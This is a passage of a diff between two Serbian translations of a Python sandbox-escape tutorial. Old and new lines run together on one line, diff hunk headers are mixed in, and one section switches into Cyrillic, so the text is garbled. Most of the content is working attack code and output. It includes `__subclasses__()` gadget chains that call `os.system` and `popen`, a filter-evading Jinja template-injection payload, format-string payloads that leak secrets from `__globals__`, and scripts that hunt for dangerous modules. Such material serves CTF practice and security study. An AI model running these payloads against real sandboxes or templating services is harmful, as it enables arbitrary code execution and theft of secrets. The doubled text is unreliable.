'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
## Otkrijte proizvoljno izvršavanje [**Ispod se nalazi veća funkcija**](./#recursive-search-of-builtins-globals) za pronalaženje desetina/**stotina** **mesta** gde možete pronaći **globals**.
Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti učitane** i predložiti pouzdanije eksploatacije. ## Otkrijte proizvoljnu izvršavanje
#### Pristupanje podklasama sa zaobilaznicama Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti koje su učitane** i predložiti pouzdanije eksploate.
Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupanja baznim podklasama**. U prethodnim primerima to je urađeno korišćenjem `''.__class__.__base__.__subclasses__()`, ali postoje **i druge moguće metode**: #### Pristupanje podklasama sa zaobilaženjima
Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupa osnovnim podklasama**. U prethodnim primerima to je učinjeno korišćenjem `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**:
```python ```python
#You can access the base from mostly anywhere (in regular conditions) #You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__() "".__class__.__base__.__subclasses__()
@ -457,14 +460,14 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
``` ```
### Pronalaženje opasnih biblioteka učitanih ### Pronalaženje opasnih učitanih biblioteka
Na primer, znajući da je sa bibliotekom **`sys`** moguće **uvoziti proizvoljne biblioteke**, možete tražiti sve **module učitane koji su uvezli sys unutar njih**: Na primer, znajući da sa bibliotekom **`sys`** može da se **importuje proizvoljna biblioteka**, možete pretražiti sve **učitane module koji imaju importovan sys unutar njih**:
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
``` ```
Postoji mnogo, i **samo nam je potrebno jedno** da izvršimo komande: Postoji mnogo, i **samo nam je jedan potreban** da izvršimo komande:
```python ```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
``` ```
@ -503,7 +506,7 @@ Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu k
#pdb #pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
``` ```
Osim toga, čak možemo pretražiti koje module učitavaju zlonamerne biblioteke: Pored toga, mogli bismo čak da pretražimo koji moduli učitavaju zlonamerne biblioteke:
```python ```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names: for b in bad_libraries_names:
@ -522,7 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb: pdb:
""" """
``` ```
Osim toga, ako mislite da **druge biblioteke** možda mogu **pozvati funkcije da izvrše komande**, takođe možemo **filtrirati po imenima funkcija** unutar mogućih biblioteka: Pored toga, ako mislite da **druge biblioteke** mogu **pozvati funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar mogućih biblioteka:
```python ```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -553,11 +556,12 @@ load_source: NullImporter, _HackedGetData
execfile: execfile:
execute: execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
``` ```
## Rekurzivna pretraga ugrađenih funkcija, globalnih promenljivih... ## Rekurzivno pretraživanje Builtins, Globals...
{% hint style="warning" %} {% hint style="warning" %}
Ovo je zaista **sjajno**. Ako **tražite objekat poput globals, builtins, open ili bilo čega drugog**, jednostavno koristite ovaj skript za **rekurzivno pronalaženje mesta gde možete pronaći taj objekat.** Ovo je jednostavno **neverovatno**. Ako **tražite objekat kao što su globals, builtins, open ili bilo šta** jednostavno koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.**
{% endhint %} {% endhint %}
```python ```python
import os, sys # Import these to find more gadgets import os, sys # Import these to find more gadgets
@ -682,11 +686,11 @@ Možete proveriti izlaz ovog skripta na ovoj stranici:
## Python Format String ## Python Format String
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona**. Možete koristiti prethodne primere da pristupite globalnim promenljivama ili ugrađenim funkcijama na primer. Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama u python-u.** Možete koristiti prethodne primere da pristupite globalnim ili ugrađenim funkcijama, na primer.
{% hint style="info" %} {% hint style="info" %}
Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći da izvršite proizvoljni kod**, već samo da čitate informacije.\ Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći da izvršite proizvoljan kod**, samo da čitate informacije.\
_**Ako znate kako da izvršite kod putem ove ranjivosti, molim vas kontaktirajte me.**_ _**Ako znate kako da izvršite kod kroz ovu ranjivost, molim vas kontaktirajte me.**_
{% endhint %} {% endhint %}
```python ```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
@ -707,16 +711,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
Obratite pažnju kako možete **pristupiti atributima** na normalan način sa **tačkom** poput `people_obj.__init__` i **elementima rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]` Napomena kako možete **pristupiti atributima** na normalan način sa **tačkom** kao `people_obj.__init__` i **elementu rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]`
Takođe obratite pažnju da možete koristiti `.__dict__` da nabrojite elemente objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Takođe, napomenite da možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Neke druge interesantne karakteristike formatiranja stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** redom: Neke druge zanimljive karakteristike format stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** respektivno:
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
Osim toga, moguće je **napisati nove formate** u klasama: Pored toga, moguće je **kodirati nove formatere** u klasama:
```python ```python
class HAL9000(object): class HAL9000(object):
def __format__(self, format): def __format__(self, format):
@ -727,17 +731,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000()) '{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that. #I'm afraid I can't do that.
``` ```
**Više primera** o **formatiranju** **stringova** možete pronaći na [**https://pyformat.info/**](https://pyformat.info) **Više primera** o **format** **string** primerima može se naći na [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %} {% hint style="danger" %}
Takođe proverite sledeću stranicu za gedžete koji će **čitati osetljive informacije iz Python internih objekata**: Proverite takođe sledeću stranicu za gadgete koji će r**ešavati osetljive informacije iz Python internih objekata**:
{% endhint %} {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} {% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md) [python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Payloadi za Otkrivanje Osetljivih Informacija ### Osetljive informacije o otkrivanju payload-a
```python ```python
{whoami.__class__.__dict__} {whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__} {whoami.__globals__[os].__dict__}
@ -748,15 +752,15 @@ Takođe proverite sledeću stranicu za gedžete koji će **čitati osetljive inf
# Access an element through several links # Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
``` ```
## Rasklapanje Python objekata ## Анализа Python објеката
{% hint style="info" %} {% hint style="info" %}
Ako želite da **saznate** više o **bajtkodu u Pythonu** detaljno pročitajte ovaj **sjajan** članak na temu: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Ако желите да **учите** о **python байт-коду** детаљно, прочитајте овај **сјајан** пост о теми: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
U nekim CTF-ovima može vam biti dostavljen naziv **prilagođene funkcije u kojoj se nalazi zastava** i treba da vidite **unutrašnjost** te **funkcije** kako biste je izdvojili. У неким CTF-овима можете добити име **прилагођене функције у којој се налази флаг** и морате да погледате **унутрашњост** **функције** да бисте је извукли.
Ovo je funkcija koju treba pregledati: Ово је функција коју треба испитати:
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -776,7 +780,7 @@ dir(get_flag) #Get info tof the function
``` ```
#### globals #### globals
`__globals__` i `func_globals`(Isto) Dobijaju globalno okruženje. U primeru možete videti neke uvežene module, neke globalne promenljive i njihov sadržaj deklarisane: `__globals__` i `func_globals` (isto) Dobija globalno okruženje. U primeru možete videti neke uvezene module, neke globalne promenljive i njihov sadržaj koji su deklarisani:
```python ```python
get_flag.func_globals get_flag.func_globals
get_flag.__globals__ get_flag.__globals__
@ -785,11 +789,11 @@ get_flag.__globals__
#If you have access to some variable value #If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__ CustomClassObject.__class__.__init__.__globals__
``` ```
[**Pogledajte ovde više mesta za dobijanje globalnih promenljivih**](./#globals-and-locals) [**Pogledajte ovde više mesta za dobijanje globals**](./#globals-and-locals)
### **Pristupanje kodu funkcije** ### **Pristupanje kodu funkcije**
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili objekat koda** funkcije. **`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dobijete kod objekat** funkcije.
```python ```python
# In our current example # In our current example
get_flag.__code__ get_flag.__code__
@ -877,7 +881,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
Primetite da **ako ne možete da uvezete `dis` u python sandbox-u** možete dobiti **bajtkod** funkcije (`get_flag.func_code.co_code`) i **raspakovati** ga lokalno. Nećete videti sadržaj učitanih promenljivih (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje ofset učitane promenljive. Napomena da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj promenljivih koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje pomeraj promenljive koja se učitava.
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -901,8 +905,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Kompajliranje Pythona ## Kompajliranje Pythona
Sada zamislimo da na neki način možete **izvući informacije o funkciji koju ne možete izvršiti**, ali je **morati** **izvršiti**.\ Sada, zamislite da nekako možete **izvući informacije o funkciji koju ne možete izvršiti** ali vam **treba** da je **izvršite**.\
Kao u sledećem primeru, **možete pristupiti objektu koda** te funkcije, ali samo čitanjem disasemblera **ne znate kako izračunati zastavu** (_zamislite složeniju funkciju `calc_flag`_). Kao u sledećem primeru, možete **pristupiti kod objektu** te funkcije, ali samo čitajući disassemble ne **znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_)
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -915,9 +919,9 @@ return calc_flag("VjkuKuVjgHnci")
else: else:
return "Nope" return "Nope"
``` ```
### Kreiranje objekta koda ### Creating the code object
Prvo, moramo znati **kako kreirati i izvršiti objekat koda** kako bismo mogli kreirati jedan za izvršavanje naše funkcije leaked: Prvo, moramo znati **kako da kreiramo i izvršimo kod objekat** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leak:
```python ```python
code_type = type((lambda: None).__code__) code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this # Check the following hint if you get an error in calling this
@ -937,7 +941,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
{% hint style="info" %} {% hint style="info" %}
Zavisno od verzije pythona, **parametri** `code_type` mogu imati **različit redosled**. Najbolji način da saznate redosled parametara u verziji pythona koju koristite je da pokrenete: U zavisnosti od verzije Pythona, **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u verziji Pythona koju koristite je da pokrenete:
``` ```
import types import types
types.CodeType.__doc__ types.CodeType.__doc__
@ -945,10 +949,10 @@ types.CodeType.__doc__
``` ```
{% endhint %} {% endhint %}
